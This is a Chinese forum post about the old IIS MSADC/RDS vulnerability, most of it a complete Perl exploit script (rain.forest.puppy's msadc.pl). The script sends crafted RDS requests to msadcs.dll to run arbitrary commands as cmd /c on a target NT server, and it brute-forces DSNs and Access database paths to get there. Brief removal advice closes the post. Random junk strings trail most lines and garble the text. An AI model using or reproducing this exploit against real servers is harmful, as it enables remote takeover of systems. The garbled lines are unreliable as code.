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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) s_Ge22BZ  
E#HU?<q8  
涉及程序: T$8$9D_u  
Microsoft NT server :BZx ) HxQ  
 qzU2H  
描述: ;Cp/2A}Xx  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 M@LaD 5  
N- ?|]4e/  
详细: :0TSOT9.  
如果你没有时间读详细内容的话,就删除: x x`8>2T#e  
c:\Program Files\Common Files\System\Msadc\msadcs.dll #*;fQ&p  
有关的安全问题就没有了。 me}Gb a  
C{I8Pio{b  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 c_8mQ  
; HLMU36q  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 <J_,9&\J  
关于利用ODBC远程漏洞的描述,请参看: w\8r h\Mvh  
Y[8co<p  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm efAahH  
}RP9%n^  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 n-| i  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 8Q)mmkI\=  
|Nx!g fU  
这里不再论述。 K&a]pL6D  
{]_{BcK+  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: *mhw5Z=!  
Uub%s`O  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset g J[q {b  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! &fNE9peQFa  
lt(-,md  
p~zTRnm  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Qmc;s{-r;  
m=y,_Pz>U  
#!perl z1KC$~{O  
# u{lDof>  
# MSADC/RDS 'usage' (aka exploit) script z?) RF[  
# *$Wx*Jo  
# by rain.forest.puppy Kd[`mkmS  
# 63dtO{:4  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 2Z9gOd<M~  
# beta test and find errors! G|Yp <W%o  
n~>CE"q  
use Socket; use Getopt::Std; ~aq?Kk  
getopts("e:vd:h:XR", \%args); 2] wf`9ZH  
y8WXp_\  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; `::(jW.KO  
UeiJhH,u   
if (!defined $args{h} && !defined $args{R}) { iKEKk\j-w  
print qq~ L"vG:Mq@D  
Usage: msadc.pl -h <host> { -d <delay> -X -v } cS;=_%~  
-h <host> = host you want to scan (ip or domain) &/#Tk>:  
-d <seconds> = delay between calls, default 1 second i^V4N4ux]  
-X = dump Index Server path table, if available @f01xh=8  
-v = verbose PNxO \Rc  
-e = external dictionary file for step 5 $8ww]}K  
:x5o3xE  
Or a -R will resume a command session )*<d1$aM  
6g,3s?aT  
~; exit;} 8{=( #]  
mbG^fy'  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; WF.$gBH"  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 8_,wOkk_B  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} d.(]V2X.J  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); =d4',[O  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} }6{)Jv  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } .$}zw|,q  
FZ.Yn   
if (!defined $args{R}){ $ret = &has_msadc; L5|;VH  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} SE-, 1p  
Kz2^f@5=F  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" cw-JGqLx  
. "cmd /c "; `0vy+T5  
$in=<STDIN>; chomp $in; K dQ|$t  
$command="cmd /c " . $in ; ;%.k}R%O@  
6!PX! UkF  
if (defined $args{R}) {&load; exit;} ?|rw=%  
Gg,k  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; T`0gtSS  
&try_btcustmr; *E q7r>[  
3K] 0sr  
print "\nStep 2: Trying to make our own DSN...";  G/;aZ  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; zgOwSg8  
b0CaoSWo  
print "\nStep 3: Trying known DSNs..."; M@ZpgAfq  
&known_dsn; <T~fh>a  
jl%e O.  
print "\nStep 4: Trying known .mdbs..."; 1UWgOCc  
&known_mdb; X1QZEl  
k#G7`dJl  
if (defined $args{e}){ (dnc7KrM  
print "\nStep 5: Trying dictionary of DSN names..."; QL!+.y%  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ;xC~{O  
HQj4h]O#  
print "Sorry Charley...maybe next time?\n"; /faP]J)  
exit; :v ~q  
&zDFf9w2{  
############################################################################## }(I DPaJ  
Jy NY *  
sub sendraw { # ripped and modded from whisker &IY_z0=  
sleep($delay); # it's a DoS on the server! At least on mine... ' "p*FN  
my ($pstr)=@_; exU=!3Ji  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || otVdx&%]  
die("Socket problems\n"); *G"#.YvE  
if(connect(S,pack "SnA4x8",2,80,$target)){ Y-k~ 7{7  
select(S); $|=1; MM$" 6Jor  
print $pstr; my @in=<S>; 0s[3:bZ\Ia  
select(STDOUT); close(S); qCT\rZU  
return @in; d(tf: @  
} else { die("Can't connect...\n"); }} \5c -L_  
$=a$z"  
############################################################################## 3sIM7WD?  
jJC( (1|  
sub make_header { # make the HTTP request JT_B@TO\  
my $msadc=<<EOT $d[:4h~  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 lD=j/    
User-Agent: ACTIVEDATA `r$WInsDu  
Host: $ip 9 9BK/>R  
Content-Length: $clen @a3v[}c*  
Connection: Keep-Alive mV]g5>Q\  
n 9M6wS  
ADCClientVersion:01.06 J~`%Nj5>  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 I"?&X4%e  
zhL,BTH  
--!ADM!ROX!YOUR!WORLD! ?E@[~qq_  
Content-Type: application/x-varg "$YLU}S9  
Content-Length: $reqlen &h[}5  
p[:%Ck"$7  
EOT ZJM^P'r.1c  
; $msadc=~s/\n/\r\n/g; BVeNK=7m%  
return $msadc;} k;X1x65uP  
kfECC&"  
############################################################################## ]`9K|v  
=%G[vm/-)  
sub make_req { # make the RDS request (fb\A6  
my ($switch, $p1, $p2)=@_; Lwk-  
my $req=""; my $t1, $t2, $query, $dsn; W4Q]<<6&  
C{^@.8:  
if ($switch==1){ # this is the btcustmr.mdb query iP_Xr~w  
$query="Select * from Customers where City=" . make_shell(); ^<+heX  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . .q}k  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} >xgd<  
zt}p-U2I  
elsif ($switch==2){ # this is general make table query 8iA(:Tb  
$query="create table AZZ (B int, C varchar(10))"; g+*[CKO{  
$dsn="$p1";} YNk|UwJi  
RjHpC7b*%  
elsif ($switch==3){ # this is general exploit table query Jx?>1q=M  
$query="select * from AZZ where C=" . make_shell(); W<l(C!{  
$dsn="$p1";} brot&S2P><  
T6#GlO)8)  
elsif ($switch==4){ # attempt to hork file info from index server 11+_OC2-   
$query="select path from scope()"; [)u{-  
$dsn="Provider=MSIDXS;";} :E*U*#h/  
W{aNS@1  
elsif ($switch==5){ # bad query E+ 20->  
$query="select"; rNp#5[e  
$dsn="$p1";} BT0hx!Ti  
Gjr2]t;E  
$t1= make_unicode($query); Z8UM0B=i  
$t2= make_unicode($dsn); -C<aB750O)  
$req = "\x02\x00\x03\x00"; Wno5B/V  
$req.= "\x08\x00" . pack ("S1", length($t1)); 5!*a,$S  
$req.= "\x00\x00" . $t1 ; q>X 2=&1  
$req.= "\x08\x00" . pack ("S1", length($t2)); Y.#+Yh[  
$req.= "\x00\x00" . $t2 ; *h6i9V%'  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 1A`";E&  
return $req;} nsk 6a  
R0'EoX  
############################################################################## m"]ys #  
M+:wa@K l  
sub make_shell { # this makes the shell() statement t68RWzqiG[  
return "'|shell(\"$command\")|'";} 1fZ:^|\  
1YL5 ![T  
############################################################################## bux-t3g7+  
L;`t%1  
sub make_unicode { # quick little function to convert to unicode k6S<46}h|  
my ($in)=@_; my $out; 5Bo)j_Qo  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Z]d]RL&r  
return $out;}  qI@_  
q#Vf2U55m  
############################################################################## O!tD1^O!1}  
2O/_hv.  
sub rdo_success { # checks for RDO return success (this is kludge) 3s2M$3r)6  
my (@in) = @_; my $base=content_start(@in); ,pz CJ@5  
if($in[$base]=~/multipart\/mixed/){ C"<@EMU9  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} t`B']Ac;T  
return 0;} ?f&I"\y  
:~Y$\Ww(~  
############################################################################## R3A^VE;qP  
5{Wl(jwb  
sub make_dsn { # this makes a DSN for us RkzBn  
my @drives=("c","d","e","f"); T:$_1I $  
print "\nMaking DSN: "; 67?5Cv  
foreach $drive (@drives) { G]CY3xw98  
print "$drive: "; H;1}Nvvd  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . qzz'v  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ri ~2t3gg  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); IIkJ"Qg.  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; f'dI"o&^/d  
return 0 if $2 eq "404"; # not found/doesn't exist  Km7  
if($2 eq "200") { 5@ug1F&   
foreach $line (@results) { wn&2-m*a  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} X$f%Ss  
} return 0;} 605|*(  
stPCw$@  
############################################################################## @AOiZOH  
oV`sCr5%  
sub verify_exists {  \Z':hw  
my ($page)=@_; se[};t:  
my @results=sendraw("GET $page HTTP/1.0\n\n"); m@ YL Z  
return $results[0];} r;z A `  
7}k8-:a%  
############################################################################## C#>C59  
}T,uw8?f!  
sub try_btcustmr { ZtVa*xl  
my @drives=("c","d","e","f"); g%trGW3{-  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 3QpT O,  
tS$Ne7yk e  
foreach $dir (@dirs) { /Ny&;Y  
print "$dir -> "; # fun status so you can see progress +Sfv.6~v  
foreach $drive (@drives) { e=2D^ G#qE  
print "$drive: "; # ditto ?F/3]lsggT  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; *rLs!/[Z_  
$reqlenlen=length( "$reqlen" ); )T?ryp3ev  
$clen= 206 + $reqlenlen + $reqlen; KXJHb{?  
@zbXG_J  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); }8HLyK,4  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} i7FEjjGtG  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} JFZ p^{  
P*>V6SK>b  
############################################################################## ioggD  
Tx*m p+q  
sub odbc_error { #82B`y<<y/  
my (@in)=@_; my $base; hlRE\YO&8R  
my $base = content_start(@in); DN+`Q{KS  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Ju<D7  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; AN@Vos Cu  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; \"SI-`x  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ^;a[v^&9  
return $in[$base+4].$in[$base+5].$in[$base+6];} y.zQ `  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; J}JnJV8|G  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . c,@6MeKHq  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} v,;?+Ck  
=R05H2hs  
############################################################################## jKzj Tn9{E  
s>5 Z  
sub verbose { qb Q> z+c  
my ($in)=@_; )n.peZ  
return if !$verbose; P]n ' q  
print STDOUT "\n$in\n";} o#i {/# oF  
=u(fP" |{  
############################################################################## Gkl#s7'  
Ot?rsr  
sub save { 7u zN/LAF  
my ($p1, $p2, $p3, $p4)=@_; xk/(| f{L  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; > L%%B-  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; t`  Sh!e  
close OUT;} U&6f}=v C  
:|a[6Uwl\V  
############################################################################## Ev%\YI!MaY  
+~-|( y  
sub load { V+^\SiM  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; g=)@yZ3>v  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ;bX{7j  
@p=<IN>; close(IN); r$KDNa$/a  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); xInWcQ  
$target= inet_aton($ip) || die("inet_aton problems"); mWh:,[o  
print "Resuming to $ip ..."; L-XTIL$$  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; S'txY\  
if($p[1]==1) { R`c5-0A  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; >2a~hW|,  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Sz =z TPnO  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); <*[(t;i  
if (rdo_success(@results)){print "Success!\n";} %X3T<3<  
else { print "failed\n"; verbose(odbc_error(@results));}} MYjCxy-;A  
elsif ($p[1]==3){ O%Mh g\#B  
if(run_query("$p[3]")){ n3(HA  
print "Success!\n";} else { print "failed\n"; }} &\LbajP:+  
elsif ($p[1]==4){ tm$3ZzP4  
if(run_query($drvst . "$p[3]")){ .MKxHM7  
print "Success!\n"; } else { print "failed\n"; }} 0^+W"O  
exit;} 1W U-gQki!  
y3x_B@}BY  
############################################################################## <%5ny!]  
M<SZ7^9<  
sub create_table { q bo`E!K  
my ($in)=@_; @c.pOX[]m,  
$reqlen=length( make_req(2,$in,"") ) - 28; %lBFj/B  
$reqlenlen=length( "$reqlen" ); }{$@|6)R   
$clen= 206 + $reqlenlen + $reqlen; x-[l`k.V  
my @results=sendraw(make_header() . make_req(2,$in,"")); M-n +3E9  
return 1 if rdo_success(@results); ZR1EtvVG  
my $temp= odbc_error(@results); verbose($temp); % n^]1R#  
return 1 if $temp=~/Table 'AZZ' already exists/; di|l?l^l  
return 0;} Cd4G&(=  
B#=dz,}  
############################################################################## v"`w'+  
sS._N@f  
sub known_dsn { 7j^,4;  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Qi9SN00F.  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", RW'QU`N[Y  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", zR%#Q_  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); , vWcWT  
r;-\z(h  
foreach $dSn (@dsns) { @ Fu|et  
print "."; kp[Jl0K5  
next if (!is_access("DSN=$dSn")); jN'zNOV~  
if(create_table("DSN=$dSn")){ ~!I \{(  
print "$dSn successful\n"; j*GYYEY  
if(run_query("DSN=$dSn")){ y&UsSS  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 7Xa Ri@uG  
print "Something's borked. Use verbose next time\n";}}} print "\n";} &a V`u?'e  
TV}H  
############################################################################## y@F{pr+dA  
!^y'G0  
sub is_access { :>|[ o&L  
my ($in)=@_; GE|V^_|i  
$reqlen=length( make_req(5,$in,"") ) - 28; vV%w#ULxE~  
$reqlenlen=length( "$reqlen" ); L~\Ir  
$clen= 206 + $reqlenlen + $reqlen; j sm{|'  
my @results=sendraw(make_header() . make_req(5,$in,"")); =oBV.BST u  
my $temp= odbc_error(@results); _T1|_9b  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); &Mol8=V)  
return 0;} kxh $R>  
KcHW>IBxdv  
############################################################################## ct`89~"  
]`LMy t0  
sub run_query { -{^Gzui  
my ($in)=@_; vForj*Xo  
$reqlen=length( make_req(3,$in,"") ) - 28; b^0=X!bg  
$reqlenlen=length( "$reqlen" ); <%! EI@N  
$clen= 206 + $reqlenlen + $reqlen; {Wt=NI?Ow  
my @results=sendraw(make_header() . make_req(3,$in,"")); 7"1M3P5*8  
return 1 if rdo_success(@results); m}rUc29cS,  
my $temp= odbc_error(@results); verbose($temp); XOU 9r(  
return 0;} 6]M(ElV1H  
X4gs{kx}|  
############################################################################## +5voAx!  
L:7%Wdyh  
sub known_mdb { 3{CXIS  
my @drives=("c","d","e","f","g"); p~qdkA<  
my @dirs=("winnt","winnt35","winnt351","win","windows"); )KG.:BO<  
my $dir, $drive, $mdb;  3= PRe  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; H8X{!/,^  
WOh?/F[@u  
# this is sparse, because I don't know of many L^dF )y?  
my @sysmdbs=( "\\catroot\\icatalog.mdb", QN":Qk(,q  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", r+>gIX+Fl  
"\\system32\\certmdb.mdb", 0`:0m/fsU  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% NbH;@R)L  
arm26YA-,  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", X-=49)  
"\\cfusion\\cfapps\\forums\\forums_.mdb", fTMn  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", l4RZ!K*X_"  
"\\cfusion\\cfapps\\security\\realm_.mdb", "d% o%  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Nzf tc  
"\\cfusion\\database\\cfexamples.mdb", ) }(Po_  
"\\cfusion\\database\\cfsnippets.mdb", m;'ebkq  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", w=,bF$:fIW  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", S/V%<<[>p]  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 1GE[*$vuq  
"\\cfusion\\database\\smpolicy.mdb", f<<1.4)oSV  
"\\cfusion\\database\cypress.mdb",  (cx Q<5  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", tw,uV)xm  
"\\website\\cgi-win\\dbsample.mdb", FG/1!8F  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ka0MuQ M  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" uWkW T.>$  
); #these are just XU_gvz  
foreach $drive (@drives) { Ejmpg_kux  
foreach $dir (@dirs){ ]De<'x}  
foreach $mdb (@sysmdbs) { XkDIP4v%  
print "."; I|(r1.[K  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ "\3C)Nz?  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ~m3Q^ue  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ yhc}*BMZ  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; a[I :^S  
} else { print "Something's borked. Use verbose next time\n"; }}}}} mb,\wZ  
vhvFBx0  
foreach $drive (@drives) { "Doz~R\\  
foreach $mdb (@mdbs) { 1R-WJph  
print "."; 7_HFQT1.N  
if(create_table($drv . $drive . $dir . $mdb)){ ^VOFkUp)  
print "\n" . $drive . $dir . $mdb . " successful\n"; }]<0!q &xB  
if(run_query($drv . $drive . $dir . $mdb)){ 9(6f:D  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 3N257]  
} else { print "Something's borked. Use verbose next time\n"; }}}} Lcb5^e?'Q  
} Y7BmW+  
TophV}@B`  
############################################################################## >cJix 1  
u.;l=tzz  
sub hork_idx { VkFMr8@|  
print "\nAttempting to dump Index Server tables...\n"; cDS \=Bf  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 52ExRG S  
$reqlen=length( make_req(4,"","") ) - 28; 0Xb,ne 7  
$reqlenlen=length( "$reqlen" ); 2ci[L:U  
$clen= 206 + $reqlenlen + $reqlen; 6 dgwsl~  
my @results=sendraw2(make_header() . make_req(4,"","")); y*=sboX  
if (rdo_success(@results)){ 7vTzY%v  
my $max=@results; my $c; my %d; z;DNl#|!L  
for($c=19; $c<$max; $c++){ C cPOK2  
$results[$c]=~s/\x00//g; 9:R3+,ZN  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ncrg`<'/,  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Uo?4o*}  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 6%it`A8}  
$d{"$1$2"}="";} :CLWmMC_  
foreach $c (keys %d){ print "$c\n"; } bb  M^J  
} else {print "Index server doesn't seem to be installed.\n"; }} dIW@L  
rU+3~|m  
############################################################################## MX? *jYl  
?8N^jjG  
sub dsn_dict { SSxp!E'  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Jr5dw=B gw  
while(<IN>){ DSQ2|{   
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 9TX2h0U?  
next if (!is_access("DSN=$dSn"));  LAkBf  
if(create_table("DSN=$dSn")){ PriLV4?  
print "$dSn successful\n"; @Bds0t  
if(run_query("DSN=$dSn")){ {7jl) x3l  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { X$e*s\4  
print "Something's borked. Use verbose next time\n";}}} !0dQfj^_  
print "\n"; close(IN);} i-PK59VZ8f  
p4V*%A&w  
############################################################################## EQN)y27poW  
tk]D)+{u&c  
sub sendraw2 { # ripped and modded from whisker i\<S ;  
sleep($delay); # it's a DoS on the server! At least on mine... k4a51[SYBK  
my ($pstr)=@_; _3(rwD  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || !wN2BCSY@  
die("Socket problems\n"); \3OEC`  
if(connect(S,pack "SnA4x8",2,80,$target)){ Ge_fU'F  
print "Connected. Getting data"; +5S>"KAUt0  
open(OUT,">raw.out"); my @in; @^T~W^+  
select(S); $|=1; print $pstr; p#).;\M   
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} rY 6x):sC  
close(OUT); select(STDOUT); close(S); return @in; ^s6}[LDW>@  
} else { die("Can't connect...\n"); }} }4N'as/ZO  
8OKG@hc  
############################################################################## qg{gCG  
7HkFDI()1  
sub content_start { # this will take in the server headers }f;WYz5  
my (@in)=@_; my $c; /{f"0]-RA  
for ($c=1;$c<500;$c++) { Qo)Da}uo20  
if($in[$c] =~/^\x0d\x0a/){ &Ts!#OcB,  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } }4p)UX>aWT  
else { return $c+1; }}} Li]bU   
return -1;} # it should never get here actually b"WF]x|^  
b"uO BB  
############################################################################## ckMG4 3i\j  
\_WR:?l  
sub funky { -w*fS,O  
my (@in)=@_; my $error=odbc_error(@in); PChew3  
if($error=~/ADO could not find the specified provider/){ C7ug\_,s  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Vm|KL3}NRv  
exit;} G<M0KU (  
if($error=~/A Handler is required/){ hs[x\:})/  
print "\nServer has custom handler filters (they most likely are patched)\n"; -nXP<v=V  
exit;} (P`=9+  
if($error=~/specified Handler has denied Access/){ :h5G|^  
print "\nServer has custom handler filters (they most likely are patched)\n"; ?TeozhUY  
exit;}} b3EGtC}^  
'y\Je7  
############################################################################## ?HJh;96B  
j*@@H6G  
sub has_msadc { 5CZyA`3V^5  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ]Cj@",/3#  
my $base=content_start(@results); ;Ax-f04gG  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); \o}T0YX  
return 0;} Asv]2> x  
Ly&+m+Gwu  
######################## & ?xR  
@Wc5r#  
p;>A:i  
解决方案: YZ5,K6u  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll `mzlOB  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 6LBdTnzUd  
T[Zs{S  
拿出来充数 哈哈
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